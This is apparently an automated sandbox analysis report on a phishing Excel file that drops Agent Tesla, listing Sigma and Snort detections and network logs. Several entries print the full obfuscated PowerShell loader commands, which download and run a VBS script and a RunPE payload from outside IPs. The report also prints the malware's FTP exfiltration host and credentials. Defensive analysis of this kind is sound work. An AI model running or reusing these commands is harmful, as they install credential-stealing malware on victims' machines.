[System.Convert]::FromBase64String(Y0ubase64Command); Y0uloadedAssembly = [System.Reflec'+'tion.Assem'+'bly]::L'+'oad(Y0ucommandBytes); Y0utype = Y0uloadedAssembly.GetType(xRm'+'RunPE.Hom'+'exRm); Y0umethod = Y0utype'+'.GetMethod(xRmV'+'AIx'+'Rm).Invoke(Y0unull, [object[]] (xRmtxt.44'+'46sabbbbbbbewmadam/441.871.64.891//:ptthxRm , xRmdesativadoxRm , xRmdesativadoxRm , xRm'+'desativadox'+'Rm,xRmAddInProcess32xRm,xRmxRm)) } }') -rePlacE 'xRm',[ChAR]39 -rePlacE ([ChAR]89+[ChAR]48+[ChAR]117),[ChAR]36)|IEX", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\eveningfiledatinglover.vBS" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\eveningfiledatinglover.vBS" , CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: poWersHEll -ex bYPAsS -nOp -W 1 -C deVIcEcrEDENtiAlDePlOyMenT.ExE ; Iex($(IEX('[SYsTEm.tExt.EncODIng]'+[chAr]58+[CHaR]0X3a+'uTf8.GetSTRInG([SySteM.CONVErT]'+[ChaR]58+[Char]58+'fRomBaSe64StrINg('+[CHAr]0X22+'JHlsc0ozTHU3NyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQURELXRZUGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1NRW1CRXJkRWZpTml0SW9OICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVXJsTU9OLkRsbCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwaW1GQ1NhWCxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEYsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjSFhoVEtzcnBILHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFlLUSxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEdGKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTkFtZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInZTcElNclJ2SXpVIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hbUVTcEFDZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgU3puVSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHlsc0ozTHU3Nzo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE5OC40Ni4xNzguMTQ0L2V2ZW5pbmdmaWxlZGF0aW5nbG92ZXIudmJzIiwiJEVOdjpBUFBEQVRBXGV2ZW5pbmdmaWxlZGF0aW5nbG92ZXIudkJTIiwwLDApO3N0QXJULXNMZUVQKDMpO3N0YVJ0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJEVudjpBUFBEQVRBXGV2ZW5pbmdmaWxlZGF0aW5nbG92ZXIudkJTIg=='+[chAR]34+'))')))", ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 2988, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\eveningfiledatinglover.vBS" , ProcessId: 3264, ProcessName: wscript.exe

Sigma detected: Dynamic CSharp Compile Artefact

Source: File created

Author: frack113: Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 2988, TargetFilename: C:\Users\user\AppData\Local\Temp\cboglgly\cboglgly.cmdline

Sigma detected: Modification of IE Registry Settings

Source: Registry Key set

Author: frack113: Data: Details: 46 00 00 00 2A 00 00 00 09 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 02 00 00 00 C0 A8 02 16 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 , EventID: 13, EventType: SetValue, Image: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE, ProcessId: 1704, TargetObject: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\SavedLegacySettings

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: poWersHEll -ex bYPAsS -nOp -W 1 -C deVIcEcrEDENtiAlDePlOyMenT.ExE ; Iex($(IEX('[SYsTEm.tExt.EncODIng]'+[chAr]58+[CHaR]0X3a+'uTf8.GetSTRInG([SySteM.CONVErT]'+[ChaR]58+[Char]58+'fRomBaSe64StrINg('+[CHAr]0X22+'JHlsc0ozTHU3NyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQURELXRZUGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1NRW1CRXJkRWZpTml0SW9OICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVXJsTU9OLkRsbCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwaW1GQ1NhWCxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEYsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjSFhoVEtzcnBILHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFlLUSxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEdGKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTkFtZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInZTcElNclJ2SXpVIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hbUVTcEFDZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgU3puVSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHlsc0ozTHU3Nzo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE5OC40Ni4xNzguMTQ0L2V2ZW5pbmdmaWxlZGF0aW5nbG92ZXIudmJzIiwiJEVOdjpBUFBEQVRBXGV2ZW5pbmdmaWxlZGF0aW5nbG92ZXIudkJTIiwwLDApO3N0QXJULXNMZUVQKDMpO3N0YVJ0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJEVudjpBUFBEQVRBXGV2ZW5pbmdmaWxlZGF0aW5nbG92ZXIudkJTIg=='+[chAR]34+'))')))", CommandLine: poWersHEll -ex bYPAsS -nOp -W 1 -C deVIcEcrEDENtiAlDePlOyMenT.ExE ; Iex($(IEX('[SYsTEm.tExt.EncODIng]'+[chAr]58+[CHaR]0X3a+'uTf8.GetSTRInG([SySteM.CONVErT]'+[ChaR]58+[Char]58+'fRomBaSe64StrINg('+[CHAr]0X22+'JHlsc0ozTHU3NyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQURELXRZUGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1NRW1CRXJkRWZpTml0SW9OICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVXJsTU9OLkRsbCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwaW1GQ1NhWCxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEYsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjSFhoVEtzcnBILHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFlLUSxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEdGKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTkFtZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInZTcElNclJ2SXpVIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hbUVTcEFDZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgU3puVSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHlsc0ozTHU3Nzo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE5OC40Ni4xNzguMTQ0L2V2ZW5pbmdmaWxlZGF0aW5nbG92ZXIudmJzIiwiJEVOdjpBUFBEQ

Sigma detected: PowerShell Script Dropped Via PowerShell.EXE

Source: File created

Author: frack113: Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 2988, TargetFilename: C:\Users\user\AppData\Local\Temp\n1no2lop.boj.ps1

Data Obfuscation

Sigma detected: Dot net compiler compiles file from suspicious location

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\cboglgly\cboglgly.cmdline", CommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\cboglgly\cboglgly.cmdline", CommandLine|base64offset|contains: zw, Image: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, ParentCommandLine: poWersHEll -ex bYPAsS -nOp -W 1 -C deVIcEcrEDENtiAlDePlOyMenT.ExE ; Iex($(IEX('[SYsTEm.tExt.EncODIng]'+[chAr]58+[CHaR]0X3a+'uTf8.GetSTRInG([SySteM.CONVErT]'+[ChaR]58+[Char]58+'fRomBaSe64StrINg('+[CHAr]0X22+'JHlsc0ozTHU3NyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQURELXRZUGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1NRW1CRXJkRWZpTml0SW9OICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVXJsTU9OLkRsbCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwaW1GQ1NhWCxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEYsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjSFhoVEtzcnBILHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFlLUSxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEdGKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTkFtZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInZTcElNclJ2SXpVIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hbUVTcEFDZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgU3puVSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHlsc0ozTHU3Nzo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE5OC40Ni4xNzguMTQ0L2V2ZW5pbmdmaWxlZGF0aW5nbG92ZXIudmJzIiwiJEVOdjpBUFBEQVRBXGV2ZW5pbmdmaWxlZGF0aW5nbG92ZXIudkJTIiwwLDApO3N0QXJULXNMZUVQKDMpO3N0YVJ0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJEVudjpBUFBEQVRBXGV2ZW5pbmdmaWxlZGF0aW5nbG92ZXIudkJTIg=='+[chAR]34+'))')))", ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 2988, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\cboglgly\cboglgly.cmdline", ProcessId: 3160, ProcessName: csc.exe

Snort Signatures

ET CURRENT_EVENTS Unknown EK Landing Feb 16 2015 b64 2 M1 - Source IP: 198.46.178.144 - Destination IP: 192.168.2.22

Timestamp:	07/03/24-18:03:46.611600
SID:	2020424
Source Port:	80
Destination Port:	49172
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET CURRENT_EVENTS SUSPICIOUS Possible CVE-2017-0199 IE7/NoCookie/Referer HTA dl - Source IP: 192.168.2.22 - Destination IP: 198.46.178.144

Timestamp:	07/03/24-18:03:28.517103
SID:	2024449
Source Port:	49168
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET TROJAN Windows executable base64 encoded - Source IP: 91.92.254.194 - Destination IP: 192.168.2.22

Timestamp:	07/03/24-18:03:45.426374
SID:	2018856
Source Port:	80
Destination Port:	49171
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET CURRENT_EVENTS SUSPICIOUS Possible CVE-2017-0199 IE7/NoCookie/Referer HTA dl - Source IP: 192.168.2.22 - Destination IP: 198.46.178.144

Timestamp:	07/03/24-18:03:26.763057
SID:	2024449
Source Port:	49166
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET TROJAN Malicious Base64 Encoded Payload In Image - Source IP: 91.92.254.194 - Destination IP: 192.168.2.22

Timestamp:	07/03/24-18:03:45.748672
SID:	2049038
Source Port:	80
Destination Port:	49171
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Base64 Encoded MZ In Image - Source IP: 91.92.254.194 - Destination IP: 192.168.2.22

Timestamp:	07/03/24-18:03:45.506573
SID:	2047750
Source Port:	80
Destination Port:	49171
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 12.2.powershell.exe.12778558.2.raw.unpack

Malware Configuration Extractor: Agenttesla {"Exfil Mode": "FTP", "Host": "ftp://ftp.fosna.net", "Username": "madamweb@fosna.net", "Password": "=A+N^@~c]~#I"}

Multi AV Scanner detection for submitted file

Source: Cuentas bancarias y cdigo ##Swift incorrecto.xla.xlsx

ReversingLabs: Detection: 18%

Machine Learning detection for sample

Source: Cuentas bancarias y cdigo ##Swift incorrecto.xla.xlsx

Joe Sandbox ML: detected

Phishing

Yara detected obfuscated html page

Source: Yara match

File source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\EvengIEcache[1].hta, type: DROPPED

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Source:	Binary string: RunPE.pdb source: powershell.exe, 0000000C.00000002.503385693.00000000002F0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 0000000C.00000002.504336170.0000000002713000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: 7C:\Users\user\AppData\Local\Temp\cboglgly\cboglgly.pdbhP source: powershell.exe, 00000007.00000002.485211497.0000000002A99000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: 7C:\Users\user\AppData\Local\Temp\cboglgly\cboglgly.pdb source: powershell.exe, 00000007.00000002.485211497.0000000002A99000.00000004.00000800.00020000.00000000.sdmp

Software Vulnerabilities

Document exploit detected (process start blacklist hit)

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Process created: C:\Windows\System32\mshta.exe

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Source: global traffic	DNS query: name: hop.fyi
Source: global traffic	DNS query: name: hop.fyi
Source: global traffic	DNS query: name: hop.fyi
Source: global traffic	DNS query: name: ip-api.com

Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 192.185.89.92:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 198.46.178.144:80
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 192.185.89.92:80
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 198.46.178.144:80
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 198.46.178.144:80
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 94.156.65.247:80
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 91.92.254.194:80
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 198.46.178.144:80
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 208.95.112.1:80

Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 192.185.89.92:80
Source: global traffic	TCP traffic: 192.185.89.92:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 192.185.89.92:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 192.185.89.92:80
Source: global traffic	TCP traffic: 192.185.89.92:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.185.89.92:80 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 192.185.89.92:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 198.46.178.144:80
Source: global traffic	TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 198.46.178.144:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 198.46.178.144:80
Source: global traffic	TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 198.46.178.144:80
Source: global traffic	TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 198.46.178.144:80
Source: global traffic	TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 198.46.178.144:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 198.46.178.144:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 198.46.178.144:80
Source: global traffic	TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 198.46.178.144:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 198.46.178.144:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 198.46.178.144:80
Source: global traffic	TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 198.46.178.144:80
Source: global traffic	TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 198.46.178.144:80
Source: global traffic	TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 198.46.178.144:80
Source: global traffic	TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 198.46.178.144:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 198.46.178.144:80
Source: global traffic	TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 198.46.178.144:80
Source: global traffic	TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 198.46.178.144:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 198.46.178.144:80
Source: global traffic	TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 198.46.178.144:80
Source: global traffic	TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 198.46.178.144:80
Source: global traffic	TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 198.46.178.144:80
Source: global traffic	TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 198.46.178.144:80
Source: global traffic	TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 198.46.178.144:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 198.46.178.144:80
Source: global traffic	TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 198.46.178.144:80
Source: global traffic	TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 198.46.178.144:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 198.46.178.144:80
Source: global traffic	TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 198.46.178.144:80
Source: global traffic	TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 198.46.178.144:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 198.46.178.144:80
Source: global traffic	TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 198.46.178.144:80
Source: global traffic	TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 198.46.178.144:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 198.46.178.144:80
Source: global traffic	TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 198.46.178.144:80
Source: global traffic	TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 198.46.178.144:80
Source: global traffic	TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 198.46.178.144:80
Source: global traffic	TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 198.46.178.144:80
Source: global traffic	TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 198.46.178.144:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 198.46.178.144:80
Source: global traffic	TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 198.46.178.144:80
Source: global traffic	TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 198.46.178.144:80
Source: global traffic	TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 198.46.178.144:80
Source: global traffic	TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 198.46.178.144:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 198.46.178.144:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 198.46.178.144:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 198.46.178.144:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 198.46.178.144:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 198.46.178.144:80
Source: global traffic	TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 198.46.178.144:80
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 192.185.89.92:80
Source: global traffic	TCP traffic: 192.185.89.92:80 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 192.185.89.92:80
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 192.185.89.92:80
Source: global traffic	TCP traffic: 192.185.89.92:80 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.185.89.92:80 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 192.185.89.92:80
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 198.46.178.144:80
Source: global traffic	TCP traffic: 198.46.178.144:80 -> 192.168.2.22:49168
